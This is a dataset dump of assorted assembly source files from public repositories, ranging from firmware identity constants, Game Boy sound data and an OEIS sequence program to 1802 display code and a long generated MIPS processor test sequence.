hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
603362920a089c16b30285a2850fbb2476ae5235 | 505 | asm | Assembly | source/common_z8_ez/identity_inc.asm | waveidea/bs3x | baba680be0302f8fd7307716f11967e5dd5f2408 | [
"Xnet",
"X11"
] | 22 | 2015-02-01T11:50:28.000Z | 2021-11-25T23:18:54.000Z | source/common_z8_ez/identity_inc.asm | waveidea/bs3x | baba680be0302f8fd7307716f11967e5dd5f2408 | [
"Xnet",
"X11"
] | null | null | null | source/common_z8_ez/identity_inc.asm | waveidea/bs3x | baba680be0302f8fd7307716f11967e5dd5f2408 | [
"Xnet",
"X11"
] | 8 | 2015-02-01T11:53:24.000Z | 2022-01-25T06:15:33.000Z | FW_VERSION EQU 1
FW_SUB_VERSION EQU 9
HW_VERSION EQU 2
HW_SUB_VERSION EQU 0
MANUF_YEAR EQU 6
MANUF_MONTH EQU 3
SERIAL_4 EQU 3 ; Manufactured serie
SERIAL_3 EQU 0 ; Unique serial number msb
SERIAL_2 EQU 0 ; Unique serial number
SERIAL_1 EQU 0 ; Unique serial number
SERIAL_0 EQU 0 ; Unique serial number lsb
;PUBLIC FW_VERSION,FW_SUB_VERSION,HW_VERSION,HW_SUB_VERSION,MANUF_YEAR,MANUF_MONTH,SERIAL_4,SERIAL_3,SERIAL_2,SERIAL_1,SERIAL_0
;END
;?CO?IDENTITY(00080h)
| 28.055556 | 128 | 0.756436 |
db7b45b27bb736cdbb3861989abe65f45b59a895 | 489 | asm | Assembly | audio/sfx/unknown_80ad2.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | audio/sfx/unknown_80ad2.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | audio/sfx/unknown_80ad2.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | SFX_80ad2_4_Ch4:
dutycycle 15
unknownsfx0x20 15, 247, 0, 5
unknownsfx0x20 15, 231, 8, 5
unknownsfx0x20 8, 180, 128, 4
unknownsfx0x20 15, 162, 96, 4
endchannel
SFX_80ae5_4_Ch5:
dutycycle 68
unknownsfx0x20 14, 215, 129, 4
unknownsfx0x20 14, 199, 137, 4
unknownsfx0x20 10, 180, 1, 4
unknownsfx0x20 15, 194, 225, 3
endchannel
SFX_80af8_4_Ch7:
unknownnoise0x20 14, 247, 124
unknownnoise0x20 12, 246, 108
unknownnoise0x20 9, 228, 124
unknownnoise0x20 15, 226, 108
endchannel
| 20.375 | 31 | 0.752556 |
a85aa5b28ad424591d8df6653fadf2b6002ec0f9 | 141 | asm | Assembly | assembler/classes/production/bip32/test.asm | jorgy343/condor | 25d90ce4325b97c141d2272917aca32f814a3f96 | [
"MIT"
] | null | null | null | assembler/classes/production/bip32/test.asm | jorgy343/condor | 25d90ce4325b97c141d2272917aca32f814a3f96 | [
"MIT"
] | null | null | null | assembler/classes/production/bip32/test.asm | jorgy343/condor | 25d90ce4325b97c141d2272917aca32f814a3f96 | [
"MIT"
] | null | null | null | movl 0x0FFF, r0
movh 0x0FFF, r0
movl 0xF000, r1
movh 0xF000, r1
add r0, r1, r2
mov r2, r1
j .testlabel
.testlabel
movl r2, r1
| 10.846154 | 16 | 0.64539 |
06860daa543de2573427dcc87ad8c0bccf187de0 | 814 | asm | Assembly | oeis/321/A321824.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/321/A321824.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/321/A321824.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A321824: a(n) = Sum_{d|n, d==1 mod 4} d^8 - Sum_{d|n, d==3 mod 4} d^8.
; Submitted by Jon Maiga
; 1,1,-6560,1,390626,-6560,-5764800,1,43040161,390626,-214358880,-6560,815730722,-5764800,-2562506560,1,6975757442,43040161,-16983563040,390626,37817088000,-214358880,-78310985280,-6560,152588281251,815730722,-282386496320,-5764800,500246412962,-2562506560,-852891037440,1,1406194252800,6975757442,-2251880764800,43040161,3512479453922,-16983563040,-5351193536320,390626,7984925229122,37817088000,-11688200277600,-214358880,16812605930786,-78310985280,-23811286661760,-6560,33232924804801,152588281251
add $0,1
mov $2,$0
lpb $0
add $1,$4
mov $3,$2
mov $5,$0
cmp $5,0
add $0,$5
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
pow $3,8
sub $4,$1
add $3,$4
add $1,$3
lpe
add $1,1
mov $0,$1
| 32.56 | 501 | 0.712531 |
1a01a248aafdf8ec88301e462c34f922a978b5f4 | 574 | asm | Assembly | libsrc/graphics/ticalc/swapgfxbk.asm | andydansby/z88dk-mk2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | 1 | 2020-09-15T08:35:49.000Z | 2020-09-15T08:35:49.000Z | libsrc/graphics/ticalc/swapgfxbk.asm | dex4er/deb-z88dk | 9ee4f23444fa6f6043462332a1bff7ae20a8504b | [
"ClArtistic"
] | null | null | null | libsrc/graphics/ticalc/swapgfxbk.asm | dex4er/deb-z88dk | 9ee4f23444fa6f6043462332a1bff7ae20a8504b | [
"ClArtistic"
] | null | null | null | ;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
; Page the graphics bank in/out - used by all gfx functions
; Simply does a swap...
;
; TI calcs: Copy GRAPH MEM to LCD when finished.
; By Stefano Bodrato - Dec. 2000
;
;
; $Id: swapgfxbk.asm,v 1.7 2002/04/17 21:30:25 dom Exp $
;
XLIB swapgfxbk
XDEF swapgfxbk1
XREF cpygraph
.swapgfxbk
ret
.swapgfxbk1
push hl
push de
push bc
call cpygraph ; Copy GRAPH_MEM to LCD, then return
pop bc
pop de
pop hl
ret
| 15.105263 | 65 | 0.635889 |
b26eab891895dc55e7601984d234bddcc1696478 | 407 | asm | Assembly | data/sgb_border.asm | etdv-thevoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | 1 | 2022-01-09T05:28:52.000Z | 2022-01-09T05:28:52.000Z | data/sgb_border.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | data/sgb_border.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | BorderPalettes:
INCBIN "gfx/blue/sgbborder.map"
ds $100
RGB 0,0,0 ; PAL_SGB1 (the first color is not defined, but if used, turns up as 30,29,29... o_O)
RGB 10,17,26
RGB 5,9,20
RGB 16,20,27
ds $18
RGB 30,29,29 ; PAL_SGB2
RGB 27,11,6
RGB 5,9,20
RGB 28,25,15
ds $18
RGB 30,29,29 ; PAL_SGB3
RGB 12,15,11
RGB 5,9,20
RGB 14,22,17
ds $18
SGBBorderGraphics:
INCBIN "gfx/blue/sgbborder.2bpp"
| 14.034483 | 96 | 0.670762 |
763a794aca2327e5f15377a91a1a80597288f40b | 1,687 | asm | Assembly | Emulator/test.asm | paulscottrobson/elf-replica | 779619efcd59c41e1d7f34e3e7b8dee9a3aeb2f4 | [
"MIT"
] | null | null | null | Emulator/test.asm | paulscottrobson/elf-replica | 779619efcd59c41e1d7f34e3e7b8dee9a3aeb2f4 | [
"MIT"
] | null | null | null | Emulator/test.asm | paulscottrobson/elf-replica | 779619efcd59c41e1d7f34e3e7b8dee9a3aeb2f4 | [
"MIT"
] | 1 | 2020-01-02T13:54:19.000Z | 2020-01-02T13:54:19.000Z |
cpu 1802
r0 = 0
r1 = 1
r2 = 2
r3 = 3
r4 = 4
r5 = 5
ghi r0
phi r1
phi r2
plo r3
plo r4
ldi Main & 255
plo r3
ldi Stack & 255
plo r2
ldi Interrupt & 255
plo r1
sep r3
Return:
ldxa
ret
Interrupt:
dec r2
sav
dec r2
str r2
nop
nop
nop
ldi 0
phi r0
ldi 0
plo r0
Refresh:
glo r0
sex r2
sex r2
dec r0
plo r0
sex r2
dec r0
plo r0
sex r2
dec r0
plo r0
bn1 Refresh
br Return
Main:
sex r2
inp 1
Wait:
ldi 0FCh
plo r5
sex r5
ldi 081h
bn4 NoKey
ldi 0FFh
NoKey:
str r5
inc r5
inc r5
inp 4
out 4
br Wait
Stack = 04Eh
org 50h
; db 000h,000h,000h,000h,000h,000h,000h,000h
; db 000h,000h,000h,000h,000h,000h,000h,000h
db 07Bh,0DEh,0DBh,0DEh,000h,000h,000h,000h
db 04Ah,050h,0DAh,052h,000h,000h,000h,000h
db 042h,05Eh,0ABh,0D0h,000h,000h,000h,000h
db 04Ah,042h,08Ah,052h,000h,000h,000h,000h
db 07Bh,0DEh,08Ah,05Eh,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,007h,0E0h
db 000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh
db 000h,006h,000h,001h,000h,000h,000h,001h
db 000h,07Fh,0E0h,001h,000h,000h,000h,002h
db 07Fh,0C0h,03Fh,0E0h,0FCh,0FFh,0FFh,0FEh
db 040h,00Fh,000h,010h,004h,080h,000h,000h
db 07Fh,0C0h,03Fh,0E0h,004h,080h,000h,000h
db 000h,03Fh,0D0h,040h,004h,080h,000h,000h
db 000h,00Fh,008h,020h,004h,080h,07Ah,01Eh
db 000h,000h,007h,090h,004h,080h,042h,010h
db 000h,000h,018h,07Fh,0FCh,0F0h,072h,01Ch
db 000h,000h,030h,000h,000h,010h,042h,010h
db 000h,000h,073h,0FCh,000h,010h,07Bh,0D0h
db 000h,000h,030h,000h,03Fh,0F0h,000h,000h
db 000h,000h,018h,00Fh,0C0h,000h,000h,000h
db 000h,000h,007h,0F0h,000h,000h,000h,000h
| 15.915094 | 44 | 0.69591 |
dac3cb42a148a2a4e73429f8d5032373a5a82a62 | 685 | asm | Assembly | oeis/110/A110043.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/110/A110043.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/110/A110043.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A110043: a(0) = 1, a(1) = 2; for n>1, a(n) = n*a(n-1) + (-1)^n.
; Submitted by Jon Maiga
; 1,2,5,14,57,284,1705,11934,95473,859256,8592561,94518170,1134218041,14744834532,206427683449,3096415251734,49542644027745,842224948471664,15160049072489953,288040932377309106,5760818647546182121,120977191598469824540,2661498215166336139881,61214458948825731217262,1469147014771817549214289,36728675369295438730357224,954945559601681406989287825,25783530109245397988710771274,721938843058871143683901595673,20936226448707263166833146274516,628086793461217895004994388235481
mov $1,2
mov $3,3
mov $4,1
lpb $0
sub $0,1
mov $4,$1
add $1,$3
add $2,1
mul $1,$2
mov $3,$4
lpe
mov $0,$4
| 40.294118 | 474 | 0.794161 |
72d55d56f150a141a0a6c53c65a7c20bf47e91b2 | 45,512 | asm | Assembly | P6/P6Judger - 100 testpoints/testpoint/testpoint82.asm | flyinglandlord/BUAA-CO-2021 | 1aa28b09762dfb2376ed2aac4126839f0e6fcf93 | [
"MIT"
] | 5 | 2021-12-05T12:58:26.000Z | 2022-03-31T02:05:13.000Z | P6/P6Judger - 100 testpoints/testpoint/testpoint82.asm | OliverDu8-24/BUAA-CO-2021 | 9959abd90de9039d751bab64f153547e76066665 | [
"MIT"
] | null | null | null | P6/P6Judger - 100 testpoints/testpoint/testpoint82.asm | OliverDu8-24/BUAA-CO-2021 | 9959abd90de9039d751bab64f153547e76066665 | [
"MIT"
] | 2 | 2021-12-19T11:49:48.000Z | 2021-12-22T10:25:38.000Z | ori $1, $0, 13
ori $2, $0, 5
ori $3, $0, 3
ori $4, $0, 3
sw $4, 0($0)
sw $1, 4($0)
sw $2, 8($0)
sw $1, 12($0)
sw $3, 16($0)
sw $4, 20($0)
sw $4, 24($0)
sw $2, 28($0)
sw $2, 32($0)
sw $2, 36($0)
sw $1, 40($0)
sw $1, 44($0)
sw $4, 48($0)
sw $2, 52($0)
sw $1, 56($0)
sw $3, 60($0)
sw $1, 64($0)
sw $1, 68($0)
sw $2, 72($0)
sw $1, 76($0)
sw $2, 80($0)
sw $1, 84($0)
sw $4, 88($0)
sw $2, 92($0)
sw $2, 96($0)
sw $4, 100($0)
sw $1, 104($0)
sw $1, 108($0)
sw $1, 112($0)
sw $4, 116($0)
sw $1, 120($0)
sw $3, 124($0)
bne $2, $2, TAG1
lui $3, 12
xori $4, $3, 0
sll $0, $0, 0
TAG1:
bgez $4, TAG2
sll $0, $0, 0
bne $4, $4, TAG2
xor $2, $4, $4
TAG2:
lui $3, 9
divu $2, $2
srl $4, $2, 7
mthi $4
TAG3:
mfhi $2
srlv $2, $4, $2
mthi $4
lh $2, 0($2)
TAG4:
sb $2, 0($2)
mfhi $3
or $4, $2, $2
sra $1, $4, 11
TAG5:
sh $1, 0($1)
addi $3, $1, 12
sw $1, 0($3)
sb $1, 0($1)
TAG6:
subu $4, $3, $3
sra $3, $4, 8
lb $2, 0($3)
lui $4, 0
TAG7:
blez $4, TAG8
slt $3, $4, $4
blez $3, TAG8
div $4, $4
TAG8:
lui $3, 8
mthi $3
beq $3, $3, TAG9
divu $3, $3
TAG9:
sll $0, $0, 0
sll $3, $1, 7
slt $4, $3, $1
multu $1, $3
TAG10:
add $1, $4, $4
beq $4, $1, TAG11
sb $1, 0($4)
and $4, $1, $1
TAG11:
lw $1, 0($4)
bne $1, $1, TAG12
mtlo $1
lhu $3, 0($4)
TAG12:
sw $3, 0($3)
mtlo $3
lui $3, 5
blez $3, TAG13
TAG13:
lui $4, 6
sll $0, $0, 0
mfhi $3
bne $4, $3, TAG14
TAG14:
mthi $3
mfhi $3
andi $3, $3, 0
lw $3, 0($3)
TAG15:
nor $4, $3, $3
multu $3, $4
beq $4, $4, TAG16
srl $4, $3, 11
TAG16:
mflo $3
add $2, $4, $3
sltiu $3, $4, 12
srl $1, $4, 4
TAG17:
nor $2, $1, $1
blez $1, TAG18
mfhi $1
div $1, $1
TAG18:
mfhi $1
sllv $3, $1, $1
slt $3, $1, $3
lui $3, 7
TAG19:
multu $3, $3
sll $0, $0, 0
bgtz $4, TAG20
andi $2, $4, 7
TAG20:
andi $2, $2, 2
sb $2, 0($2)
lw $1, 0($2)
beq $1, $2, TAG21
TAG21:
mthi $1
mthi $1
mult $1, $1
mult $1, $1
TAG22:
sll $4, $1, 12
bltz $1, TAG23
sltu $2, $4, $4
mflo $3
TAG23:
multu $3, $3
nor $1, $3, $3
sra $2, $1, 12
lw $4, 0($3)
TAG24:
lui $3, 9
mult $4, $4
sll $0, $0, 0
beq $3, $3, TAG25
TAG25:
sll $0, $0, 0
sll $0, $0, 0
slt $1, $4, $4
beq $1, $3, TAG26
TAG26:
lhu $3, 0($1)
mfhi $2
lhu $4, 0($3)
addu $3, $2, $3
TAG27:
mult $3, $3
mult $3, $3
srlv $2, $3, $3
sltiu $3, $3, 11
TAG28:
sb $3, 0($3)
bgez $3, TAG29
lbu $2, 0($3)
lui $2, 4
TAG29:
sb $2, 0($2)
beq $2, $2, TAG30
divu $2, $2
mflo $4
TAG30:
sw $4, 0($4)
bltz $4, TAG31
sb $4, 0($4)
mthi $4
TAG31:
multu $4, $4
beq $4, $4, TAG32
sb $4, 0($4)
mflo $4
TAG32:
lui $3, 14
beq $3, $3, TAG33
lui $2, 6
mtlo $4
TAG33:
sll $0, $0, 0
sb $2, 0($4)
multu $2, $2
sll $0, $0, 0
TAG34:
sb $4, 0($4)
mult $4, $4
lw $3, 0($4)
sb $3, 0($4)
TAG35:
blez $3, TAG36
multu $3, $3
lb $3, 0($3)
bgtz $3, TAG36
TAG36:
multu $3, $3
mult $3, $3
mflo $4
sh $3, 0($3)
TAG37:
multu $4, $4
mflo $2
sh $4, 0($4)
beq $4, $4, TAG38
TAG38:
lui $2, 13
sltu $4, $2, $2
multu $2, $2
addu $4, $2, $4
TAG39:
divu $4, $4
sll $0, $0, 0
addu $1, $4, $4
div $4, $4
TAG40:
lui $1, 3
sll $0, $0, 0
mtlo $1
divu $1, $1
TAG41:
sll $0, $0, 0
sll $0, $0, 0
bgez $4, TAG42
mflo $4
TAG42:
addiu $2, $4, 7
lbu $1, 0($2)
slti $2, $2, 13
lui $4, 13
TAG43:
ori $1, $4, 6
mult $1, $1
sll $0, $0, 0
xori $4, $4, 7
TAG44:
beq $4, $4, TAG45
mthi $4
bne $4, $4, TAG45
sw $4, 0($4)
TAG45:
addiu $4, $4, 5
mfhi $3
sll $0, $0, 0
bltz $4, TAG46
TAG46:
sll $0, $0, 0
sll $0, $0, 0
lui $4, 6
mflo $3
TAG47:
bne $3, $3, TAG48
mfhi $2
sll $0, $0, 0
mthi $2
TAG48:
blez $2, TAG49
lui $2, 9
bltz $2, TAG49
divu $2, $2
TAG49:
blez $2, TAG50
srl $3, $2, 0
multu $3, $2
mfhi $1
TAG50:
bne $1, $1, TAG51
multu $1, $1
addiu $4, $1, 7
xori $4, $1, 7
TAG51:
or $2, $4, $4
sh $2, 0($4)
bne $4, $4, TAG52
mthi $2
TAG52:
bne $2, $2, TAG53
div $2, $2
bne $2, $2, TAG53
lhu $4, 0($2)
TAG53:
sh $4, 0($4)
bne $4, $4, TAG54
divu $4, $4
mflo $4
TAG54:
lb $2, 0($4)
or $2, $4, $2
mtlo $4
sb $4, 0($2)
TAG55:
mfhi $4
lb $2, 0($2)
mult $2, $2
mfhi $1
TAG56:
sh $1, 0($1)
lbu $4, 0($1)
mult $1, $4
and $1, $4, $1
TAG57:
lbu $3, 0($1)
lw $3, 0($1)
addiu $1, $1, 13
mfhi $1
TAG58:
lhu $4, 0($1)
sltiu $4, $1, 2
mult $1, $4
lbu $3, 0($4)
TAG59:
mfhi $4
beq $3, $4, TAG60
sltu $2, $3, $4
bltz $2, TAG60
TAG60:
multu $2, $2
sub $1, $2, $2
sb $1, 0($1)
sub $3, $1, $1
TAG61:
bne $3, $3, TAG62
xor $3, $3, $3
mthi $3
sb $3, 0($3)
TAG62:
beq $3, $3, TAG63
multu $3, $3
sll $4, $3, 3
mfhi $1
TAG63:
lui $3, 10
beq $3, $3, TAG64
slt $3, $1, $3
lhu $2, 0($3)
TAG64:
sllv $3, $2, $2
lh $2, 0($2)
sb $2, 0($2)
bne $2, $2, TAG65
TAG65:
lui $2, 10
mfhi $4
mtlo $2
sll $0, $0, 0
TAG66:
sub $3, $1, $1
sh $1, 0($1)
lui $1, 13
multu $1, $1
TAG67:
lui $3, 5
beq $1, $1, TAG68
sll $0, $0, 0
lui $4, 4
TAG68:
lui $4, 9
bgez $4, TAG69
multu $4, $4
mthi $4
TAG69:
srav $3, $4, $4
srlv $1, $3, $3
srlv $2, $1, $1
mflo $4
TAG70:
lui $3, 5
mthi $3
lui $3, 4
multu $4, $4
TAG71:
sll $0, $0, 0
sll $0, $0, 0
mfhi $4
nor $2, $4, $4
TAG72:
div $2, $2
lhu $2, 1($2)
mflo $1
mult $1, $2
TAG73:
mthi $1
subu $3, $1, $1
or $2, $1, $3
bltz $3, TAG74
TAG74:
lbu $4, 0($2)
bltz $2, TAG75
lui $1, 8
sll $0, $0, 0
TAG75:
lui $2, 15
mtlo $2
mflo $1
sll $0, $0, 0
TAG76:
srav $3, $4, $4
sw $4, 0($3)
mflo $1
multu $3, $3
TAG77:
addu $1, $1, $1
sll $0, $0, 0
bgez $1, TAG78
mthi $1
TAG78:
mult $1, $1
mthi $1
mthi $1
mfhi $1
TAG79:
mfhi $1
multu $1, $1
mflo $1
lui $3, 1
TAG80:
lui $3, 13
beq $3, $3, TAG81
lui $4, 4
sltiu $2, $4, 3
TAG81:
sllv $4, $2, $2
xori $4, $4, 7
sll $2, $4, 0
sltiu $2, $2, 14
TAG82:
lw $3, 0($2)
beq $3, $2, TAG83
sw $2, 0($2)
sltiu $4, $3, 15
TAG83:
lui $4, 1
mtlo $4
mthi $4
addiu $3, $4, 15
TAG84:
sllv $4, $3, $3
mtlo $4
slti $1, $3, 7
ori $1, $4, 3
TAG85:
sll $0, $0, 0
sll $0, $0, 0
divu $4, $4
lui $4, 9
TAG86:
sltiu $4, $4, 3
lw $3, 0($4)
mult $4, $3
andi $2, $3, 6
TAG87:
or $4, $2, $2
bgez $2, TAG88
sh $4, 0($4)
lbu $4, 0($2)
TAG88:
mthi $4
beq $4, $4, TAG89
lhu $4, 0($4)
lb $4, 0($4)
TAG89:
bne $4, $4, TAG90
lb $2, 0($4)
mult $4, $4
sw $4, 0($4)
TAG90:
addu $1, $2, $2
lui $2, 10
srav $1, $1, $2
mthi $1
TAG91:
lui $2, 2
lhu $2, 0($1)
andi $3, $1, 2
bgez $3, TAG92
TAG92:
lhu $3, 0($3)
bltz $3, TAG93
sra $3, $3, 8
sll $1, $3, 11
TAG93:
lw $4, 0($1)
blez $4, TAG94
mult $1, $4
bgez $4, TAG94
TAG94:
mult $4, $4
bne $4, $4, TAG95
and $1, $4, $4
mult $1, $1
TAG95:
slt $1, $1, $1
lbu $4, 0($1)
lhu $2, 0($4)
sll $2, $1, 9
TAG96:
xori $3, $2, 7
multu $3, $2
sllv $4, $2, $3
sra $1, $4, 7
TAG97:
lw $3, 0($1)
mult $1, $1
sw $1, 0($1)
srl $1, $1, 15
TAG98:
sltiu $1, $1, 0
mult $1, $1
lh $4, 0($1)
mthi $4
TAG99:
bgtz $4, TAG100
mthi $4
bne $4, $4, TAG100
addu $1, $4, $4
TAG100:
mult $1, $1
multu $1, $1
lui $4, 5
multu $4, $4
TAG101:
subu $4, $4, $4
blez $4, TAG102
mult $4, $4
multu $4, $4
TAG102:
bgez $4, TAG103
lb $2, 0($4)
mfhi $4
sub $2, $2, $4
TAG103:
mult $2, $2
beq $2, $2, TAG104
lui $3, 10
beq $3, $3, TAG104
TAG104:
lui $4, 14
lui $1, 4
bne $4, $4, TAG105
multu $3, $1
TAG105:
andi $3, $1, 7
bne $3, $3, TAG106
ori $4, $1, 10
mflo $4
TAG106:
bgtz $4, TAG107
lui $2, 4
mfhi $2
mthi $2
TAG107:
blez $2, TAG108
mflo $3
beq $2, $2, TAG108
mflo $4
TAG108:
bltz $4, TAG109
lhu $2, 0($4)
sh $2, 0($2)
mult $4, $2
TAG109:
bltz $2, TAG110
mflo $1
multu $1, $1
mfhi $4
TAG110:
lui $4, 8
lui $4, 7
beq $4, $4, TAG111
lui $1, 9
TAG111:
subu $1, $1, $1
mthi $1
lb $4, 0($1)
mult $4, $1
TAG112:
multu $4, $4
mthi $4
lui $4, 0
mthi $4
TAG113:
mthi $4
or $2, $4, $4
mult $4, $2
lui $2, 3
TAG114:
beq $2, $2, TAG115
sll $0, $0, 0
bne $2, $2, TAG115
mtlo $2
TAG115:
lui $1, 9
mfhi $1
mflo $2
sh $1, 0($1)
TAG116:
bne $2, $2, TAG117
sltiu $2, $2, 4
mfhi $1
multu $2, $1
TAG117:
mthi $1
bne $1, $1, TAG118
sw $1, 0($1)
mflo $4
TAG118:
sub $3, $4, $4
mtlo $4
beq $3, $3, TAG119
sll $4, $4, 5
TAG119:
multu $4, $4
lui $2, 7
mfhi $3
div $4, $2
TAG120:
slt $2, $3, $3
mtlo $2
sb $3, 0($2)
multu $3, $3
TAG121:
multu $2, $2
addu $1, $2, $2
sllv $1, $2, $1
mflo $1
TAG122:
lh $2, 0($1)
beq $2, $1, TAG123
lhu $4, 0($2)
mflo $2
TAG123:
lbu $1, 0($2)
or $3, $1, $2
lw $1, 0($1)
srlv $1, $2, $1
TAG124:
xor $4, $1, $1
mflo $1
mfhi $4
lui $2, 14
TAG125:
sll $0, $0, 0
bltz $2, TAG126
divu $2, $2
sll $0, $0, 0
TAG126:
bgtz $2, TAG127
addiu $4, $2, 8
beq $2, $2, TAG127
mtlo $2
TAG127:
mflo $1
sll $0, $0, 0
blez $4, TAG128
mult $4, $3
TAG128:
lui $1, 11
lui $4, 6
bltz $4, TAG129
ori $1, $3, 6
TAG129:
lui $3, 10
mfhi $1
lui $4, 5
mthi $1
TAG130:
bltz $4, TAG131
divu $4, $4
mthi $4
blez $4, TAG131
TAG131:
ori $1, $4, 5
addiu $3, $1, 12
lui $2, 13
sll $0, $0, 0
TAG132:
lui $1, 7
beq $2, $2, TAG133
sllv $3, $2, $1
lh $2, 0($2)
TAG133:
sll $0, $0, 0
beq $2, $2, TAG134
sll $0, $0, 0
sub $3, $2, $2
TAG134:
sll $0, $0, 0
mthi $2
mtlo $2
sll $0, $0, 0
TAG135:
beq $2, $2, TAG136
subu $4, $2, $2
sra $1, $4, 2
lui $2, 3
TAG136:
mfhi $2
sra $1, $2, 7
addu $1, $2, $1
or $1, $2, $2
TAG137:
mfhi $4
mfhi $1
mfhi $4
mtlo $4
TAG138:
mtlo $4
slti $1, $4, 0
bgez $1, TAG139
lb $1, 0($1)
TAG139:
srav $2, $1, $1
bltz $1, TAG140
srl $1, $1, 10
lui $3, 14
TAG140:
bltz $3, TAG141
mfhi $1
lui $3, 11
sll $0, $0, 0
TAG141:
mult $3, $3
bgtz $3, TAG142
sll $0, $0, 0
div $3, $3
TAG142:
div $3, $3
sll $0, $0, 0
blez $3, TAG143
lui $3, 6
TAG143:
sll $0, $0, 0
srlv $1, $4, $4
sll $0, $0, 0
bgez $4, TAG144
TAG144:
slti $3, $1, 9
subu $4, $3, $1
lbu $2, 0($3)
mflo $2
TAG145:
lbu $2, 0($2)
sh $2, 0($2)
lh $2, 0($2)
lb $4, 0($2)
TAG146:
mthi $4
lhu $1, 0($4)
lui $4, 13
addu $3, $4, $1
TAG147:
lui $1, 8
lui $2, 2
mthi $3
mthi $3
TAG148:
addiu $2, $2, 9
bltz $2, TAG149
mfhi $1
div $1, $2
TAG149:
slt $3, $1, $1
bltz $1, TAG150
mult $3, $1
div $3, $1
TAG150:
srl $2, $3, 6
srlv $4, $3, $3
bne $3, $3, TAG151
sltu $3, $3, $2
TAG151:
sll $3, $3, 8
mult $3, $3
lui $2, 9
sltu $3, $3, $3
TAG152:
srlv $4, $3, $3
lui $3, 9
divu $3, $3
beq $3, $4, TAG153
TAG153:
mflo $1
bne $3, $3, TAG154
mfhi $3
div $3, $1
TAG154:
beq $3, $3, TAG155
sllv $4, $3, $3
xor $3, $3, $4
beq $3, $3, TAG155
TAG155:
sw $3, 0($3)
mfhi $2
lui $3, 14
sub $1, $3, $2
TAG156:
mthi $1
mflo $1
multu $1, $1
lb $4, 0($1)
TAG157:
lui $4, 7
lui $4, 8
mthi $4
bgtz $4, TAG158
TAG158:
srlv $3, $4, $4
addu $4, $3, $4
lui $3, 1
sll $0, $0, 0
TAG159:
mtlo $3
bgtz $3, TAG160
sll $0, $0, 0
mthi $3
TAG160:
beq $3, $3, TAG161
mflo $3
xor $3, $3, $3
sll $2, $3, 1
TAG161:
nor $2, $2, $2
multu $2, $2
subu $3, $2, $2
lui $4, 13
TAG162:
lui $2, 13
mtlo $2
bne $2, $2, TAG163
divu $2, $4
TAG163:
lui $4, 12
bgez $4, TAG164
mflo $2
sra $4, $4, 13
TAG164:
sll $0, $0, 0
divu $4, $2
slti $4, $4, 12
bgtz $4, TAG165
TAG165:
mthi $4
lbu $2, 0($4)
mfhi $3
bne $3, $3, TAG166
TAG166:
mthi $3
bne $3, $3, TAG167
mflo $4
bne $3, $3, TAG167
TAG167:
slti $4, $4, 2
sltiu $3, $4, 5
